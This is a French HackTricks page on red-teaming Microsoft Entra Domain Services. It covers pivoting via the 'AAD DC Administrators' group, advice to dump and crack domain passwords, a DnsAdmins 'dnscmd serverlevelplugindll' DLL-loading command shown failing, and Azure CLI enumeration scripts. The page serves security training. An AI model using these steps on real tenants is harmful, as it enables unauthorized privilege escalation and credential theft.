Az - Microsoft Entra Domain Services
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Domain Services
Microsoft Entra Domain Services permet de dĂ©ployer un Active Directory dans Azure sans avoir besoin de gĂ©rer les contrĂŽleurs de domaine (en fait, vous n'y avez mĂȘme pas accĂšs).
Son objectif principal est de vous permettre d'exécuter des applications héritées dans le cloud qui ne peuvent pas utiliser des méthodes d'authentification modernes, ou lorsque vous ne souhaitez pas que les recherches dans l'annuaire retournent toujours à un environnement AD DS sur site.
Notez que pour synchroniser les utilisateurs gĂ©nĂ©rĂ©s dans Entra ID (et non synchronisĂ©s Ă partir d'autres annuaires actifs) avec le service de domaine AD, vous devez changer le mot de passe de l'utilisateur pour un nouveau afin qu'il puisse ĂȘtre synchronisĂ© avec le nouvel AD. En fait, l'utilisateur n'est pas synchronisĂ© de Microsoft Entra ID vers les Domain Services tant que le mot de passe n'est pas changĂ©.
warning
MĂȘme si vous crĂ©ez un nouveau domaine Active Directory, vous ne pourrez pas le gĂ©rer complĂštement (sauf en exploitant certaines mauvaises configurations), ce qui signifie qu'en rĂšgle gĂ©nĂ©rale, vous ne pouvez pas crĂ©er d'utilisateurs directement dans l'AD. Vous les crĂ©ez en synchronisant des utilisateurs depuis Entra ID. Vous pouvez indiquer de synchroniser tous les utilisateurs (mĂȘme ceux synchronisĂ©s depuis d'autres AD sur site), uniquement les utilisateurs cloud (utilisateurs créés dans Entra ID), ou mĂȘme les filtrer davantage.
note
En gĂ©nĂ©ral, en raison du manque de flexibilitĂ© dans la configuration du nouveau domaine et du fait que les AD sont gĂ©nĂ©ralement dĂ©jĂ sur site, ce n'est pas l'intĂ©gration principale entre Entra ID et AD, mais il est tout de mĂȘme intĂ©ressant de savoir comment le compromettre.
Pivoting
Les membres du groupe généré AAD DC Administrators
se voient accorder des permissions d'administrateur local sur les VM qui sont jointes au domaine géré (mais pas dans les contrÎleurs de domaine) car ils sont ajoutés au groupe des administrateurs locaux. Les membres de ce groupe peuvent également utiliser Remote Desktop pour se connecter à distance aux VM jointes au domaine, et sont également membres des groupes :
Denied RODC Password Replication Group
: Il s'agit d'un groupe qui spĂ©cifie les utilisateurs et groupes dont les mots de passe ne peuvent pas ĂȘtre mis en cache sur les RODC (Read-Only Domain Controllers).Group Policy Creators Owners
: Ce groupe permet aux membres de créer des stratégies de groupe dans le domaine. Cependant, ses membres ne peuvent pas appliquer de stratégies de groupe aux utilisateurs ou groupes ni modifier les GPO existantes, donc ce n'est pas trÚs intéressant dans cet environnement.DnsAdmins
: Ce groupe permet de gérer les paramÚtres DNS et a été abusé par le passé pour escalader des privilÚges et compromettre le domaine, cependant aprÚs avoir testé l'attaque dans cet environnement, il a été vérifié que la vulnérabilité est corrigée :
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED 5 0x5
Notez que pour accorder ces autorisations, à l'intérieur de l'AD, le groupe AAD DC Administrators
est devenu membre des groupes précédents, et également le GPO AADDC Computers GPO
ajoute en tant qu'administrateurs locaux tous les membres du groupe de domaine AAD DC Administrators
.
Le pivotement d'Entra ID vers un AD créé avec Domain Services est simple, il suffit d'ajouter un utilisateur dans le groupe AAD DC Administrators
, d'accéder via RDP à n'importe quelle/toutes les machines du domaine et vous pourrez voler des données et également compromettre le domaine.
Cependant, le pivotement du domaine vers Entra ID n'est pas aussi facile car rien du domaine n'est synchronisé dans Entra ID. Cependant, vérifiez toujours les métadonnées de toutes les VM jointes car leurs identités gérées assignées pourraient avoir des autorisations intéressantes. De plus, dump toutes les mots de passe des utilisateurs du domaine et essayez de les craquer pour ensuite vous connecter à Entra ID / Azure.
note
Notez qu'auparavant, d'autres vulnĂ©rabilitĂ©s dans cet AD gĂ©rĂ© ont Ă©tĂ© trouvĂ©es, permettant de compromettre les DC, comme celle-ci. Un attaquant compromettant le DC pourrait trĂšs facilement maintenir la persistance sans que les administrateurs Azure ne s'en aperçoivent ou mĂȘme ne puissent l'enlever.
ĂnumĂ©ration
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'
# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain
subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"
# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)
# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)
for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)
if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.